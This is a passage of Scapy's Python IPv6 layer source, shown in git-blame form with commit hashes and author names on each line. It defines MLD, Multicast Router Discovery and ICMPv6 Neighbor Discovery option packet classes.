1543c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MLD - Multicast Listener Report"
1544c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    type = 131
1545e1d0631a37e4326084e0fa2a9cb9f6466667d9e8Guillaume Valadon    overload_fields = {IPv6: {"hlim": 1, "nh": 58}}
1546c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # implementer le hashret et le answers
15470d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1548c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# When a node ceases to listen to a multicast address on an interface,
1549c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# it SHOULD send a single Done message to the link-scope all-routers
1550c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# multicast address (FF02::2), carrying in its multicast address field
1551c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# the address to which it is ceasing to listen
1552c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# TODO : See what we can do to automatically include a Router Alert
1553c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#        Option in a Destination Option Header.
1554c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6MLDone(_ICMPv6ML): # RFC 2710
1555c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MLD - Multicast Listener Done"
1556c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    type = 132
1557f9727001edc936020f47735a7653bbe1d2533026Guillaume Valadon    overload_fields = {IPv6: { "dst": "ff02::2", "hlim": 1, "nh": 58}}
1558c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1559c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1560c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil########## ICMPv6 MRD - Multicast Router Discovery (RFC 4286) ###############
1561c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
15620d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# TODO:
1563c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# - 04/09/06 troglocan : find a way to automatically add a router alert
1564c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#            option for all MRD packets. This could be done in a specific
1565c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#            way when IPv6 is the under layer with some specific keyword
1566c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#            like 'exthdr'. This would allow to keep compatibility with
1567c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#            providing IPv6 fields to be overloaded in fields_desc.
15680d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#
1569c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#            At the moment, if user inserts an IPv6 Router alert option
1570c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#            none of the IPv6 default values of IPv6 layer will be set.
1571c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1572c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6MRD_Advertisement(_ICMPv6):
1573c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Multicast Router Discovery Advertisement"
1574c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ByteEnumField("type", 151, icmp6types),
1575c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   ByteField("advinter", 20),
1576c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   XShortField("cksum", None),
1577c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   ShortField("queryint", 0),
1578c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   ShortField("robustness", 0)]
1579c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 58, "hlim": 1, "dst": "ff02::2"}}
1580c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                       # IPv6 Router Alert requires manual inclusion
1581c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def extract_padding(self, s):
1582c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s[:8], s[8:]
1583c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1584c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6MRD_Solicitation(_ICMPv6):
1585c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Multicast Router Discovery Solicitation"
1586c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ByteEnumField("type", 152, icmp6types),
1587c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   ByteField("res", 0),
1588c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   XShortField("cksum", None) ]
1589c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 58, "hlim": 1, "dst": "ff02::2"}}
1590c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                       # IPv6 Router Alert requires manual inclusion
1591c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def extract_padding(self, s):
1592c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s[:4], s[4:]
1593c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1594c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6MRD_Termination(_ICMPv6):
1595c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Multicast Router Discovery Termination"
1596c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ByteEnumField("type", 153, icmp6types),
1597c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   ByteField("res", 0),
1598c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   XShortField("cksum", None) ]
15990d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    overload_fields = {IPv6: { "nh": 58, "hlim": 1, "dst": "ff02::6A"}}
1600c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                       # IPv6 Router Alert requires manual inclusion
1601c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def extract_padding(self, s):
1602c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s[:4], s[4:]
1603c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1604c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1605c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil################### ICMPv6 Neighbor Discovery (RFC 2461) ####################
1606c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1607c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilicmp6ndopts = { 1: "Source Link-Layer Address",
1608c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                2: "Target Link-Layer Address",
1609c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                3: "Prefix Information",
1610c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                4: "Redirected Header",
1611c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                5: "MTU",
1612c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                6: "NBMA Shortcut Limit Option", # RFC2491
1613c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                7: "Advertisement Interval Option",
1614c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                8: "Home Agent Information Option",
1615c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                9: "Source Address List",
1616c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               10: "Target Address List",
1617c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               11: "CGA Option",            # RFC 3971
1618c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               12: "RSA Signature Option",  # RFC 3971
1619c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               13: "Timestamp Option",      # RFC 3971
1620c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               14: "Nonce option",          # RFC 3971
1621c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               15: "Trust Anchor Option",   # RFC 3971
1622c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               16: "Certificate Option",    # RFC 3971
1623c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               17: "IP Address Option",                             # RFC 4068
1624c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               18: "New Router Prefix Information Option",          # RFC 4068
1625c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               19: "Link-layer Address Option",                     # RFC 4068
16260d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz               20: "Neighbor Advertisement Acknowledgement Option",
1627c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               21: "CARD Request Option", # RFC 4065/4066/4067
1628c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               22: "CARD Reply Option",   # RFC 4065/4066/4067
1629c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               23: "MAP Option",          # RFC 4140
1630c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               24: "Route Information Option",  # RFC 4191
1631c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               25: "Recusive DNS Server Option",
1632c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               26: "IPv6 Router Advertisement Flags Option"
1633c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                }
16340d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1635c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilicmp6ndoptscls = { 1: "ICMPv6NDOptSrcLLAddr",
1636c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   2: "ICMPv6NDOptDstLLAddr",
1637c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   3: "ICMPv6NDOptPrefixInfo",
1638c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   4: "ICMPv6NDOptRedirectedHdr",
1639c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   5: "ICMPv6NDOptMTU",
1640c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   6: "ICMPv6NDOptShortcutLimit",
1641c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   7: "ICMPv6NDOptAdvInterval",
1642c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   8: "ICMPv6NDOptHAInfo",
1643c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   9: "ICMPv6NDOptSrcAddrList",
1644c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  10: "ICMPv6NDOptTgtAddrList",
1645c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #11: Do Me,
1646c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #12: Do Me,
1647c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #13: Do Me,
1648c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #14: Do Me,
1649c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #15: Do Me,
1650c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #16: Do Me,
16510d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                  17: "ICMPv6NDOptIPAddr",
1652c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  18: "ICMPv6NDOptNewRtrPrefix",
1653c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  19: "ICMPv6NDOptLLA",
1654c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #18: Do Me,
1655c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #19: Do Me,
1656c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #20: Do Me,
1657c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #21: Do Me,
1658c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #22: Do Me,
1659c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  23: "ICMPv6NDOptMAP",
1660c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  24: "ICMPv6NDOptRouteInfo",
1661c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  25: "ICMPv6NDOptRDNSS",
16622e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon                  26: "ICMPv6NDOptEFA",
16632e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon                  31: "ICMPv6NDOptDNSSL"
1664c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  }
1665c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1666c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _ICMPv6NDGuessPayload:
1667c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "Dummy ND class that implements guess_payload_class()"
1668c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def guess_payload_class(self,p):
1669c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if len(p) > 1:
1670b612d8d9f626eeae3bc7eb2a10c139c4d79f381dgpotter            return get_cls(icmp6ndoptscls.get(orb(p[0]),"Raw"), "Raw") # s/Raw/ICMPv6NDOptUnknown/g ?
1671c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1672c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1673c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Beginning of ICMPv6 Neighbor Discovery Options.
1674c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1675c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptUnknown(_ICMPv6NDGuessPayload, Packet):
1676c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - Scapy Unimplemented"
1677c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",None),
1678c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("len",None,length_of="data",fmt="B",
1679c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                  adjust = lambda pkt,x: x+2),
1680c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    StrLenField("data","",
1681c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: pkt.len-2) ]
1682c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1683c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# NOTE: len includes type and len field. Expressed in unit of 8 bytes
1684c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# TODO: Revoir le coup du ETHER_ANY
1685c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptSrcLLAddr(_ICMPv6NDGuessPayload, Packet):
1686c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - Source Link-Layer Address"
1687c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type", 1),
1688c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", 1),
1689c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    MACField("lladdr", ETHER_ANY) ]
16900d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    def mysummary(self):
1691c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.sprintf("%name% %lladdr%")
1692c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1693c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptDstLLAddr(ICMPv6NDOptSrcLLAddr):
1694c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - Destination Link-Layer Address"
1695c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    type = 2
1696c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1697c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptPrefixInfo(_ICMPv6NDGuessPayload, Packet):
1698c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - Prefix Information"
1699c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",3),
1700c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len",4),
1701c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("prefixlen",None),
1702c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("L",1,1),
1703c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("A",1,1),
1704c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("R",0,1),
1705c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("res1",0,5),
1706291400c1b6f65363e33cc982aaf0d43d31cc424egpotter                    XIntField("validlifetime",0xffffffff),
1707291400c1b6f65363e33cc982aaf0d43d31cc424egpotter                    XIntField("preferredlifetime",0xffffffff),
1708c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XIntField("res2",0x00000000),
1709c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("prefix","::") ]
17100d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    def mysummary(self):
1711c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.sprintf("%name% %prefix%")
1712c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1713c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# TODO: We should also limit the size of included packet to something
1714c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# like (initiallen - 40 - 2)
1715c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass TruncPktLenField(PacketLenField):
1716b62dbe4f266acaa96e0a2ebc2152c8d5f48bdc1dPierre LALET    __slots__ = ["cur_shift"]
1717c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1718c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, name, default, cls, cur_shift, length_from=None, shift=0):
1719c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        PacketLenField.__init__(self, name, default, cls, length_from=length_from)
1720c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.cur_shift = cur_shift
1721c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1722c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def getfield(self, pkt, s):
1723c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        l = self.length_from(pkt)
1724c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        i = self.m2i(pkt, s[:l])
1725c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s[l:],i
17264e957e091da2c111732db403e6db503f4b383157Jochen Bartl
1727c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def m2i(self, pkt, m):
17284e957e091da2c111732db403e6db503f4b383157Jochen Bartl        s = None
1729c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        try: # It can happen we have sth shorter than 40 bytes
1730c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            s = self.cls(m)
1731c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        except:
17327b3e970663abd72697e17b70aba9943ae0dad404Phil            return conf.raw_layer(m)
1733c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s
1734c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1735c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2m(self, pkt, x):
17365e8857410015a93f6371459b2f870432ded39b9fgpotter        s = raw(x)
1737c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        l = len(s)
1738c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        r = (l + self.cur_shift) % 8
17394e957e091da2c111732db403e6db503f4b383157Jochen Bartl        l = l - r
1740c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s[:l]
1741c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1742c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2len(self, pkt, i):
1743c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return len(self.i2m(pkt, i))
1744c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
17454e957e091da2c111732db403e6db503f4b383157Jochen Bartl
1746c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Faire un post_build pour le recalcul de la taille (en multiple de 8 octets)
1747c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptRedirectedHdr(_ICMPv6NDGuessPayload, Packet):
1748c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - Redirected Header"
1749c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",4),
1750c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("len", None, length_of="pkt", fmt="B",
175163ae11708b02df74dd3e8d2385d2829f3d622d66gpotter                                  adjust = lambda pkt,x:(x+8)//8),
17522a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                    StrFixedLenField("res", b"\x00"*6, 6),
17531186356a1d73fd59b700d8af05e789d0e8899de6gpotter                    TruncPktLenField("pkt", b"", IPv6, 8,
17544e957e091da2c111732db403e6db503f4b383157Jochen Bartl                                     length_from = lambda pkt: 8*pkt.len-8) ]
1755c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1756c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# See which value should be used for default MTU instead of 1280
1757c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptMTU(_ICMPv6NDGuessPayload, Packet):
1758c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - MTU"
1759c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",5),
1760c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len",1),
1761c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("res",0),
1762c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("mtu",1280)]
1763c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1764c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptShortcutLimit(_ICMPv6NDGuessPayload, Packet): # RFC 2491
1765c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - NBMA Shortcut Limit"
1766c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type", 6),
1767c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", 1),
1768c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("shortcutlim", 40), # XXX
1769c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("res1", 0),
1770c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("res2", 0) ]
17710d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1772c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptAdvInterval(_ICMPv6NDGuessPayload, Packet):
1773c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - Interval Advertisement"
1774c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",7),
1775c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len",1),
1776c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField("res", 0),
1777c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("advint", 0) ]
17780d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    def mysummary(self):
1779c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.sprintf("%name% %advint% milliseconds")
1780c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
17810d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NDOptHAInfo(_ICMPv6NDGuessPayload, Packet):
1782c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - Home Agent Information"
1783c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",8),
1784c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len",1),
1785c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField("res", 0),
1786c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField("pref", 0),
1787c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField("lifetime", 1)]
17880d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    def mysummary(self):
1789c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.sprintf("%name% %pref% %lifetime% seconds")
1790c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1791c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# type 9  : See ICMPv6NDOptSrcAddrList class below in IND (RFC 3122) support
1792c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1793c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# type 10 : See ICMPv6NDOptTgtAddrList class below in IND (RFC 3122) support
1794c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
179577132687c31a9d3f30c3992c70eb24d1ac0948a7Philclass ICMPv6NDOptIPAddr(_ICMPv6NDGuessPayload, Packet):  # RFC 4068
1796c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - IP Address Option (FH for MIPv6)"
1797c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",17),
1798c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", 3),
1799c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("optcode", 1, {1: "Old Care-Of Address",
1800c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                                 2: "New Care-Of Address",
1801c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                                 3: "NAR's IP address" }),
1802c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("plen", 64),
1803c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("res", 0),
1804c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("addr", "::") ]
1805c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1806c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptNewRtrPrefix(_ICMPv6NDGuessPayload, Packet): # RFC 4068
1807c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - New Router Prefix Information Option (FH for MIPv6)"
1808c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",18),
1809c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", 3),
1810c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("optcode", 0),
1811c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("plen", 64),
1812c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("res", 0),
1813c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("prefix", "::") ]
1814c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1815c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil_rfc4068_lla_optcode = {0: "Wildcard requesting resolution for all nearby AP",
1816c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        1: "LLA for the new AP",
1817c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        2: "LLA of the MN",
1818c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        3: "LLA of the NAR",
1819c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        4: "LLA of the src of TrSolPr or PrRtAdv msg",
1820c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        5: "AP identified by LLA belongs to current iface of router",
1821c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        6: "No preifx info available for AP identified by the LLA",
1822c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        7: "No fast handovers support for AP identified by the LLA" }
1823c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
182477132687c31a9d3f30c3992c70eb24d1ac0948a7Philclass ICMPv6NDOptLLA(_ICMPv6NDGuessPayload, Packet):     # RFC 4068
1825c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - Link-Layer Address (LLA) Option (FH for MIPv6)"
1826c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type", 19),
1827c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", 1),
